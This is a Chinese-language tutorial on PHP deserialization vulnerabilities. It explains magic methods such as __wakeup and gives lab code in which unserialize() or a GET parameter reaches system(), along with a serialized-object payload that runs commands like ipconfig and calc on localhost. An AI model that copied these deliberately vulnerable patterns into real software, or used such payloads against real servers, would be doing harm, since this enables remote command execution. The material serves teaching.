反序列化漏洞
概念
序列化
将对象转化为便于传输的格式,常见序列化格式有二进制、字节数组、json 字符串、xml 字符串,php 中使用 serialize()
函数进行序列化
反序列化
反序列化则是将序列化后的数据重新转换为原始的数据结构或对象的过程,php 中使用 unserialize()
函数进行反序列化
序列化和反序列化原因
为了保证数据的存储和传输
魔术方法
在特定的情况下会被自动调用,以双下划线 __
开头,即使魔术方法在类中没有被定义,也是真实存在的。
__construct() 在创建对象时自动调用
__destruct() 在销毁对象时自动调用
__wakeup() unserialize()反序列化时会自动调用这个函数
__sleep() serialize()序列化时会自动调用这个函数
反序列化漏洞
用户传给 unserialize() 的经过序列化后的参数可控。当对象的销毁和创建或使用
unserialize()
等函数对用户提供的数据进行反序列化等操作时,魔术方法自动调用,魔术方法本身自动调用了其他方法,其他方法又调用了其他方法,最终呈现一种链式调用,将参数传递到危险函数,最终实现命令执行
例1
此例重点在 经过序列化后的参数可控
服务器端 PHP 代码
1.php
<?php
// 1.php
// 定义函数 a()
function a($cmd){
@system($cmd);
}
// 创建 test 类
class test{
// 定义属性
public $name;
public $age;
// 定义方法,当执行 unserialize() 反序列化函数时自动调用 __wakeup() 方法
public function __wakeup(){
// $this 可以在类的方法中使用,用来访问当前对象的属性和方法。传参给函数 a(),执行系统命令
@a($this->name);
}
}
//*****************************************
// 此处的 $str 模拟接收客户端上传的数据
$str='O:4:"test":2:{s:4:"name";s:8:"ipconfig";s:3:"age";i:18;}';
print_r($str);
echo "<br>";
//******************************************
// 反序列化
$str=unserialize($str);
var_dump($str);
?>
生成 Payload 的 POC
2.php
新建 test 类的对象,对象中 $name
的值会传递到函数 a()
中,从而控制执行的命令,所以要控制执行的命令,需要改 name
值
<?php
// 2.php
// 创建 test 类
class test{
// 定义属性
public $name;
public $age;
// 定义方法,当执行 unserialize() 反序列化函数时自动调用 __wakeup() 方法
public function __wakeup(){
a($cmd);
}
}
echo "*****************************************<br>";
echo "payload<br>";
// 创建对象
$person1=new test;
// 对象赋值
$person1->name="ipconfig";
$person1->age=18;
// 序列化
$person1=serialize($person1);
echo "<br>";
print_r($person1);
echo "<br>*****************************************";
?>
演示
calc
使用 2.php 生成 Payload
将 Payload 复制到 1.php 文件,模拟上传序列化后的参数,访问 1.php,成功执行
ipconfig
使用 2.php 生成 执行 ipconfig
的 Payload
修改 1.php 中的 payload,成功执行 ipconfig
例2
传递的未经序列化的参数,不是很标准,但体现了链式调用
PHP 代码
<?php
// 定义函数 a()
function a(){
// 调用函数 b()
b();
}
// 定义函数 b()
function b(){
// 如果参数 cmd 的值为 calc 则打开计算器
$cmd=$_GET['cmd'];
@system($cmd);
}
// 创建 test 类
class test{
// 定义属性
public $name;
public $age;
// 定义方法,当执行 unserialize() 反序列化函数时自动调用 __wakeup() 方法
public function __wakeup(){
a();
}
}
// 创建对象
$person1=new test;
// 对象赋值
$person1->name="zhangsan";
$person1->age=18;
// 序列化
$person1=serialize($person1);
var_dump($person1);
// 反序列化
echo "<hr>";
$person1=unserialize($person1);
var_dump($person1);
?>
漏洞逻辑
当执行反序列化语句 $person1=unserialize($person1);
时,系统会自动调用 test()
类中的 __wakeup()
方法,__wakeup()
方法调用函数 a()
,函数 a()
调用函数 b()
,函数 b()
接收传参,执行系统命令
验证
当成功执行反序列化函数 unserialize() 并且成功传参时,成功执行系统命令
http://127.0.0.1/1.php?cmd=calc
http://127.0.0.1/1.php?cmd=ipconfig
当未使用反序列化函数时,不会触发 __wakeup()
方法,从而未进行链式调用,函数 b()
未被调用,不会执行命令